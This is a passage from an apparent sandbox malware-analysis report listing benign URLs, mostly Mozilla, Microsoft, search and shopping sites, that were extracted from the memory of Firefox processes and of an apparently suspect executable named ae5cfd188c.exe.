Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=spotlight
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 00000018.00000003.2731037127.000002BA5C0F3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2850287498.000002BA5C0F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 00000018.00000002.2832858012.000002BA5AC7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2798630682.000002BA55EAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: firefox.exe, 00000018.00000002.2825287749.000002BA5A25E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 00000018.00000002.2814321427.000002BA598A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe
Source: firefox.exe, 00000018.00000002.2814321427.000002BA598A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsUse
Source: firefox.exe, 00000018.00000003.2772758014.000002BA5C5A7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B71B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: ae5cfd188c.exe, 0000000A.00000003.2689925143.0000000005531000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 00000018.00000002.2825287749.000002BA5A25E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: ae5cfd188c.exe, 00000007.00000003.2520361481.0000000005645000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 00000007.00000003.2497811681.000000000564C000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 00000007.00000003.2520653498.0000000005645000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 00000007.00000003.2497934385.0000000005645000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2631261345.0000000005465000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2655845392.0000000005465000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2631088178.000000000546C000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2655035263.0000000005465000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: ae5cfd188c.exe, 00000007.00000003.2497934385.0000000005620000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2631261345.0000000005440000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: ae5cfd188c.exe, 00000007.00000003.2520361481.0000000005645000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 00000007.00000003.2497811681.000000000564C000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 00000007.00000003.2520653498.0000000005645000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 00000007.00000003.2497934385.0000000005645000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2631261345.0000000005465000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2655845392.0000000005465000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2631088178.000000000546C000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2655035263.0000000005465000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: ae5cfd188c.exe, 00000007.00000003.2497934385.0000000005620000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2631261345.0000000005440000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: firefox.exe, 00000018.00000003.2777563699.000002BA61B40000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2721713786.000002BA61B41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 00000018.00000002.2814321427.000002BA598A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 00000018.00000002.2814321427.000002BA598A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 00000018.00000002.2814321427.000002BA598A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 00000018.00000002.2814321427.000002BA598A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 00000018.00000002.2809778465.000002BA57CE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2798630682.000002BA55E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2792299128.000002BA49C03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2813105068.000002BA59634000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 00000018.00000002.2886166420.0000180E51A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com
Source: firefox.exe, 00000018.00000002.2825287749.000002BA5A25E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2883372314.000002BA63731000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2821559085.000002BA59FAC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2825287749.000002BA5A20A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2813105068.000002BA59634000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2809778465.000002BA57C7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2850287498.000002BA5C07F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2800920930.000002BA56B17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2827730700.000002BA5A4DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2883372314.000002BA63731000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 00000018.00000002.2888920201.000026C2BC404000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/N&3
Source: firefox.exe, 00000018.00000003.2777563699.000002BA61B40000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2721713786.000002BA61B41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2883372314.000002BA63731000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B71B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 00000018.00000002.2888920201.000026C2BC404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2883372314.000002BA63731000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.ca/
Source: firefox.exe, 00000018.00000002.2883372314.000002BA63731000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B71B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/
Source: firefox.exe, 00000018.00000002.2825287749.000002BA5A25E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2883372314.000002BA63731000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2821559085.000002BA59FAC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2825287749.000002BA5A20A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2850287498.000002BA5C07F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2827730700.000002BA5A4DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: ae5cfd188c.exe, 00000007.00000003.2547024349.0000000005600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2794739483.000002BA554AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2813105068.000002BA59634000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2809778465.000002BA57C7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2800920930.000002BA56B17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2785432044.000001B8C53C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2784347261.000001AF5A7F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: firefox.exe, 00000018.00000002.2827730700.000002BA5A461000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2798630682.000002BA55E26000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2814174699.000002BA59800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000003.2658761411.000002BA59700000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2660636691.000002BA5993C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2798630682.000002BA55E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B71B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2661028911.000002BA5995A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2821559085.000002BA59F56000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2661653128.000002BA59977000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 00000018.00000002.2827730700.000002BA5A461000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/chrome://extensions/content/parent/ext-browserSet
Source: firefox.exe, 00000018.00000002.2888920201.000026C2BC404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2813831095.000002BA597AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2883372314.000002BA63731000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.de/
Source: firefox.exe, 00000018.00000002.2888920201.000026C2BC404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2883372314.000002BA63731000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.fr/
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2883372314.000002BA63731000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2883372314.000002BA63731000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 00000018.00000002.2888920201.000026C2BC404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2883372314.000002BA63731000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bbc.co.uk/
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2883372314.000002BA63731000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: firefox.exe, 00000018.00000002.2888920201.000026C2BC404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2883372314.000002BA63731000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.co.uk/
Source: firefox.exe, 00000018.00000002.2888920201.000026C2BC404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2883372314.000002BA63731000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.de/
Source: ae5cfd188c.exe, 00000007.00000003.2496735561.000000000561F000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 00000007.00000003.2496918281.0000000005608000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2630590484.0000000005428000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2630411285.000000000543F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: ae5cfd188c.exe, 00000007.00000003.2547024349.0000000005600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2794739483.000002BA554AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2813105068.000002BA59634000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2809778465.000002BA57C7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2800920930.000002BA56B17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2785432044.000001B8C53C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2784347261.000001AF5A7F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: firefox.exe, 00000018.00000002.2878984131.000002BA61F12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2736817789.000002BA61F15000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2871904573.000002BA61A98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 00000018.00000002.2875505657.000002BA61C14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2734749303.000002BA634DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2881483129.000002BA634D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2726304100.000002BA61D3B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2722032655.000002BA61B30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2814174699.000002BA59800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000003.2658761411.000002BA59700000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2660636691.000002BA5993C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2661028911.000002BA5995A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2878984131.000002BA61F57000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2661653128.000002BA59977000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: ae5cfd188c.exe, 00000007.00000003.2496735561.000000000561F000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 00000007.00000003.2496918281.0000000005608000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2630590484.0000000005428000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2630411285.000000000543F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 00000018.00000002.2818447104.000002BA59DD5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2798630682.000002BA55E26000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2814174699.000002BA59800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000003.2658761411.000002BA59700000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2660636691.000002BA5993C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2798630682.000002BA55E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B71B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2734749303.000002BA634DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2661028911.000002BA5995A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2881483129.000002BA634D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2661653128.000002BA59977000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 00000018.00000002.2881483129.000002BA63435000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B71B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2852168506.000002BA5C4AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2881483129.000002BA63403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 00000018.00000002.2837969712.000002BA5AE73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hulu.com/watch/
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2883372314.000002BA63731000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 00000018.00000002.2837969712.000002BA5AE73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.instagram.com/
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2883372314.000002BA63731000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 00000018.00000002.2883372314.000002BA63731000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B71B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/
Source: firefox.exe, 00000018.00000002.2881483129.000002BA634F0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2883372314.000002BA637D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2822642036.000002BA5A07A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2889075369.00002786E1B04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2792299128.000002BA49C6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2883372314.000002BA63756000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2797999061.000002BA55DE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2800920930.000002BA56B03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2781567528.000000D7800BC000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2800920930.000002BA56B17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
